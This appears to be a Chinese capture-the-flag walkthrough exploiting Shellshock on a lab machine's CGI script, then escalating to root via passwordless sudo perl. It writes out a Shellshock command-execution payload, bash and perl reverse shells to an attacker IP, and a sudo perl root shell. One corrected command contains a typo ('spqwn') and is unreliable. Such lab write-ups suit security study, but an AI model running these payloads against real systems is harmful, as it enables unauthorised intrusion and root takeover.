0x01 端口扫描
常见开放端口如下:
- 80端口:HTTP服务
- 2222端口:SSH服务
访问80
未发现有价值信息
0x02 目录扫描
其中重点查看cgi-bin目录,其中会存放一些.pl、.sh以及.cgi等格式的可执行脚本,对其进行文件遍历。
获取到敏感文件user.sh
通过查看该文件发现此脚本是实时运行的。
访问该脚本时会通过调用一个bash shell终端来实时执行uptime命令,并通过下载文件的方式返回执行结果。
0x03 ShellShock漏洞
使用BP抓包,并修改UA
() { :;};echo ; echo; echo $(/bin/ls -al /);
存在shellshock漏洞并列出了/bin目录下的所有文件
修改exp
() { :;};/bin/bash -i >& /dev/tcp/10.10.16.2/8888 0>&1;
获取低权限shell
获取一个标准终端
python -c ‘import pty;pty.spawn(“/bin/bash”)’
此处小坑:
报错没有Python,实际上是有的,查看发现装的python3,因此修改命令
python3 -c ‘import pty;pty.spqwn(“/bin/bash”)’
0x04 提权
查看到当前用户有免密码使用root权限的perl的权限。
因此思路如下:
- 可构造perl代码获取一个新的root权限的反弹shell
- 构建perl代码执行系统命令,在shelly用户权限的反弹shell中开启一个root权限终端
perl代码获取新的root权限反弹shell
sudo /usr/bin/perl -e 'use Socket;$i="10.10.16.2";$p=1101;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">$S");open(STDOUT,">$S");open(STDERR,">$S");exec("/bin/sh -i");};'
perl代码执行系统命令在低权限shell中开启root终端
sudo /usr/bin/perl -e ‘exec “/bin/sh”‘
0x05 总结
- 注意/cgi-bin/等目录下的脚本文件
- bash使用的环境通过函数名称调用的,导致漏洞出问题是以”(){“开头定义的环境变量在命令ENV中解析成函数后,Bash执行并退出,而是继续解析并执行shell命令。核心原因在于没有严格过滤输入的参数
- 执行CGI时会调用Bash将refere、host、UserAgent、header等作为环境变量进行处理
- Perl获取反弹shell
- Perl在shell中开启root终端
- 无回显情况可参照sql盲注的延时方法,使用sleep函数判断是否存在漏洞